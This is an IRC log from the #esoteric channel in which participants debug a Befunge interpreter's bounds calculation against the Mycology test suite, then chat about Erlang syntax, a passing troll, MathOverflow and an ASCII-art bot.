:AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay *that* doesn't work < 1269038711 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which was completely unexpected < 1269038724 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269038746 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You sure you're looking at the code for p and not g? ;-P < 1269038759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I'm looking at the function update_bounds < 1269038775 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is called from set() < 1269038960 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1269038973 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, are you sure you just write *space* with p? < 1269038982 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not something that with o ends up as it < 1269038987 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :11g::' \22gp < 1269038998 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Not space + 256, no :-P < 1269039002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what is the 11g for? < 1269039011 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(1,1) is the X-coordinate, (2,2) the Y < 1269039018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269039023 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, why are you storing them there < 1269039030 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, befunge isn't naturally PIC < 1269039039 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Where should I store them? < 1269039059 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The stack is impossible with more than one value to keep around < 1269039065 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Without FRTH or equivalent extensions < 1269039123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269039128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hard coded :P < 1269039135 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't matter < 1269039148 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I use the (0,0) as scratch space all over < 1269039177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay what the hell < 1269039190 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now it still fails with the same issue as before < 1269039193 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's not like I'll be going to (0,0) again to execute something, so it's okay :-P < 1269039196 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even when setting it to false always < 1269039206 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Whee heisenbug < 1269039210 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Have fun ;-) < 1269039212 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes < 1269039227 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : [{FirstX,FirstY}|Coordinates] = ets:select(Fungespace, [{{'$1','$2'},[{'=/=','$2',$\s}],['$1']}]), < 1269039227 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : NewBounds = find_extremes(Coordinates, FirstX, FirstY, FirstX, FirstY), < 1269039233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now to figure out why that is wrong < 1269039234 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Whee readable code < 1269039236 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Aw-dangity, my hostmask is wrongly. < 1269039239 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Bloody erlang and its syntax < 1269039240 0 :fizzie!unknown@unknown.invalid QUIT :Quit: jumpin' jumpin' < 1269039240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it is readable < 1269039242 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, if you know it < 1269039243 0 :fizzie!fis@iris.zem.fi JOIN :#esoteric < 1269039258 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I find erlang's syntax abhorrent :-P < 1269039260 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, think of it as a DSL like SQL < 1269039263 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Actually, Erlang's syntax is shit. < 1269039264 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that second part < 1269039266 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I can read it, it's not a problem < 1269039273 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Take Prolog - then misinterpret its syntax wildly. < 1269039273 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't make it less ugly < 1269039281 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Something like that ;-) < 1269039284 0 :fungot!~fungot@momus.zem.fi JOIN :#esoteric < 1269039291 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the people who made erlang know a bit of prolog :P < 1269039311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :more than a bit, but they reused parts of it's syntax < 1269039318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for different purposes < 1269039318 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no just a bit < 1269039322 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I fail to see what is wrong with that < 1269039323 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if they knew more than a bit they wouldn't make it so stupid < 1269039325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, agreed < 1269039334 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they reused more than a bit < 1269039336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what < 1269039339 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but they didn't make it stupid < 1269039344 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no they knew no more than just a bit < 1269039353 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you don't even know prolog, so... shaddup < 1269039374 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and yes "[{{'$1','$2'},[{'=/=','$2',$\s}],['$1']}]" *is* horrible < 1269039378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I agree about that < 1269039386 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but then that could use some newlines and spacing < 1269039389 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :plus it is a DSL < 1269039389 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :A bit of spacing around commas would help there IMO < 1269039391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like SQL < 1269039406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so complain about my coding style then rather than erlang < 1269039406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no it's not < 1269039409 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's just strings < 1269039419 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'd rather complain about both < 1269039446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : [{FirstX,FirstY}|Coordinates] = ets:select(Fungespace, [{{'$1','$2'}, < 1269039446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : [{'=/=','$2',$\s}], < 1269039446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ['$1']}]), < 1269039449 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so what about that < 1269039456 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :could use a newline earlier < 1269039489 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no that's worse. < 1269039497 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, no it isn't < 1269039509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, it is < 1269039510 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Seems better to me but it could still be better < 1269039518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, oh? < 1269039520 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well anyway < 1269039544 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it seems correct to me, thus find_extremes must be wrong < 1269039580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :can't spot anything wrong with that either < 1269039587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tests it on some test data
< 1269039681 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :3> efunge_fungespace:find_extremes([{0,0},{1,1},{2,2}], 1, 4, 1, 4). < 1269039681 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :{{0,0},{2,4}} < 1269039683 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :seems correct < 1269039835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, is there anything at -10,186 for you? < 1269039845 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :according to my dump from the last bounds recalculation there is < 1269039883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, is that (whatever it is) supposed to be there? < 1269039919 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm; yes, it is < 1269039965 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Bah, looks like it's my bug and not yours < 1269039970 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Let me verify < 1269039983 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :12:48:10 how far you got multiplied by how much you suck < 1269039983 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269040044 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: :-S yeah, my bad < 1269040061 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Completely forgot about that stupid string-wrapped-around-the-void test < 1269040078 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Which puts a " at -10,186 indeed < 1269040085 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so that is the cause of all this? < 1269040094 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes; sorry about the mess < 1269040098 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, *growl* < 1269040106 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so how did ccbi pass it? < 1269040115 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :By being buggy, obviously < 1269040117 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269040137 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I had to dump the entire set of non-space coordinate pairs to a file to find out < 1269040144 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is one huge file and slow to search < 1269040150 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Heh < 1269040155 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, kate didn't like it all being on one line either < 1269040158 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :At least I didn't give you all of mycology ;-) < 1269040159 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1269040163 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Why'd you print it on one line < 1269040171 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1269040176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, because it ran out of my scrollback otherwise < 1269040182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I dumped it to stdout < 1269040189 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :too lazy to do to file directly < 1269040205 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway, it would have been... 20374 lines < 1269040209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if dumped one per line < 1269040211 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(normal way) < 1269040234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, the file goes like: < 1269040235 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :[{28,166},{63,165},{46,116},{9,95},{52,85},{16,154},{132,147},{112,145},{113,119},{36,114},{16,41},{123,8},{138,174},{8,171}, < 1269040236 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You could've dumped it to stdout then used sort | head -n1 :-P < 1269040237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and so on < 1269040254 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well I would have had to grep for the output from it < 1269040261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as opposed to mycology < 1269040279 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Dump to stderr < 1269040285 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :meh < 1269040305 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, tell me if cfunge still is buggy < 1269040312 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also that BAD: no you didn't mange it *yet* < 1269040313 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269040328 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm somewhat worried about that heisenbug I saw though < 1269040334 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :probably some error when debugging < 1269040347 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269040357 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If it only happened once forget about it, it /probably/ won't happen again ;-P < 1269040370 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, true < 1269040387 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it happened with a specific compile rather < 1269040407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I probably introduced some other bug when debugging < 1269040421 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(reverted the changes now anyway < 1269040466 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, why would that " be put at -10,186 ? < 1269040470 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for that test < 1269040472 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't get it < 1269040507 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :So that the X coordinate is minimal < 1269040530 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, how does this explain the -10,-10 btw as opposed to -10,-1 or whatever it was < 1269040554 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, is that another bug? < 1269040564 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :-10,-10 is used by the o test < 1269040587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and something in column -10 not properly cleared? < 1269040627 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Oh, right, hmm < 1269040627 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe < 1269040635 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I presume so, and I'm not going to debug it until you are 100% certain that it isn't your bug < 1269040640 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not after the last one < 1269040670 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I just wonder what strange algorithm ccbi is using that makes it behave like that < 1269040688 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Presumably some off-by-one type thing < 1269040694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :probably < 1269040712 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, off by -8/-9 rather :P < 1269040752 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well, off by one could cause it to miss that -10,186 cell < 1269040755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I like cons lists because of this, lot harder to make off by one list < 1269040759 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Since without that, -2 -1 is indeed correct < 1269040777 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, then why the -10 in y as well < 1269040788 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as I said I'm not going to spend time debugging that now < 1269040805 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The -10,186 is only added after the y test < 1269040823 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no I mean: < 1269040828 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -10 ) < 1269040830 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :instead of: < 1269040832 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -1 ) < 1269040841 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, that ^ < 1269040852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I think that might be an output error < 1269040854 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in mycology < 1269040865 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Eh? It just outputs the two cells pushed by y < 1269040892 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Like you said it's probably a bug when spacing the corner < 1269040906 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269040922 0 :Libster!~Libster@12.130.117.114 JOIN :#esoteric < 1269040929 0 :Libster!unknown@unknown.invalid PRIVMSG #esoteric :hello best friends < 1269040932 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you said -2,-1 was correct however. anyway I can't tell you were since I removed the dump code, and too lazy to re-add it < 1269040936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just search for it yourself < 1269040943 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269040953 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :-2,-1 is correct < 1269040959 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.mywot.com/en/scorecard/my.barackobama.com < 1269040961 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But with the o test, it might not be after all < 1269040969 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Libster, hi I guess. < 1269040976 0 :Libster!unknown@unknown.invalid PRIVMSG #esoteric :hi how do i troll here < 1269040980 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :^_^ < 1269040985 0 :Libster!unknown@unknown.invalid PRIVMSG #esoteric :^_^ < 1269040987 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :we rather that you didn't < 1269040990 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :troll that is < 1269040991 0 :Libster!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269040998 0 :Libster!unknown@unknown.invalid PRIVMSG #esoteric :i guess i'll go to a different channel then bye < 1269041000 0 :Libster!unknown@unknown.invalid PART #esoteric :? < 1269041006 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how very strange < 1269041006 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Why would anyone bother learning Brainfuck? < 1269041013 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :^^troll? < 1269041018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269041030 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that was one very confusing visit < 1269041037 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise missed it completely < 1269041039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it seems < 1269041096 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, anyway, tell me if you find any actual bugs < 1269041210 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ignore Libster you idiots < 1269041243 0 :charlesq__!unknown@unknown.invalid QUIT :Quit: Saliendo < 1269041249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, a rather polite troll however :P < 1269041269 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1269041315 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no he's just a retard from #not-math who followed fax here < 1269041325 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he shuts up if you don't talk to him < 1269041325 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :^ < 1269041333 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :who? < 1269041336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :libster < 1269041354 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :not just libster < 1269041401 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :not-math? < 1269041411 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a channel. < 1269041413 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: base3 gave up < 1269041435 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Oooh, there's a mathoverflow.com < 1269041459 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo mathoverflow is for reseach level math though < 1269041470 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, just saw that in the FAQ < 1269041471 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, not-math? < 1269041477 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I know the math one < 1269041480 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but not not-math < 1269041485 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's not mathematics. < 1269041493 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, that's a broad area < 1269041497 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :mathoverflow is nice. < 1269041558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even though i understand like 0.0001% of the qs there < 1269041562 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Stack Exchange is proprietary? < 1269041593 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :duh < 1269041594 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to convince himself to write more of this code.
< 1269041597 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's atwood and spolsky < 1269041605 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the two biggest retards ever to exist in programming < 1269041626 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is not doing too well at that.
< 1269041635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"How to write IF�ELSE as mathematic equation?" < 1269041638 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :kill me < 1269041662 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: ... *What?* < 1269041663 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :??? < 1269041681 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://mathoverflow.net/questions/18696/how-to-write-if-else-as-mathematic-equation < 1269041683 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :some retard being idiotic < 1269041687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Stack Exchange is proprietary? <-- I read that as "stock" first < 1269041694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and went like "??" < 1269041695 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So much dumb. < 1269041796 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION once thought about problems like that >.>
< 1269041816 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol it must be trolling < 1269041828 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, so it must < 1269041830 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I can easily imagine asking that sort of question < 1269041838 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_, well, you are Sgeo_... < 1269041839 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                           | < 1269041839 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                           |\ < 1269041845 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1269041851 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster is so horrible to sgeo \o/ < 1269041851 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                                | < 1269041851 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                               /| < 1269041864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, so are you too a lot of the time :P < 1269041866 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :_.?? < 1269041871 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Oh, o_ < 1269041877 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh I see < 1269041881 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well it didn't this time < 1269041888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :o_, < 1269041893 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :o_... < 1269041894 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   | < 1269041894 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :  /| < 1269041897 0 :Sgeo_!unknown@unknown.invalid NICK :Sgeo < 1269041898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay that did it < 1269041903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it isn't lined up at all < 1269041904 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to me < 1269041905 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :o_. < 1269041906 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   | < 1269041906 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   |\ < 1269041913 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, not lined up here at all < 1269041922 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Lined up with the _, not the o < 1269041923 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pointless bot IMO < 1269041929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's a person not a bot < 1269041933 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, that lines up one space after the . < 1269041938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, with a script < 1269041938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sure < 1269041939 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: A script, a bot, same difference < 1269041939 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's lined up in mirc style names < 1269041941 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no difference < 1269041942 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which most people use < 1269041946 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :xchat is just stupid like that < 1269041946 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\o/ < 1269041949 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"mirc style names"? < 1269041950 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, "most" in here too? < 1269041952 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: not right-aligned < 1269041965 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Also ircii-style, irssi-style, I'd say. < 1269041972 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The \o/ was aligned properly at the o, but the o_. wasn't < 1269041972 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :       |                                          | < 1269041972 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :      /<                                          >\ < 1269041973 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION didn't even realize you were messing with my
< 1269041975 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And still isn't < 1269041981 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Unless it's meant to be at the _ < 1269041982 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :myndzi, < 1269041992 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it is meant to be at the _ < 1269041994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :who knows why < 1269041997 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :o_o < 1269042000 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :o_. < 1269042003 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :stupid bot < 1269042007 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :_ is the mouth so < 1269042009 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's the middle < 1269042012 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :poop \_/ < 1269042017 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-P < 1269042019 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269042031 0 :fizzie!unknown@unknown.invalid 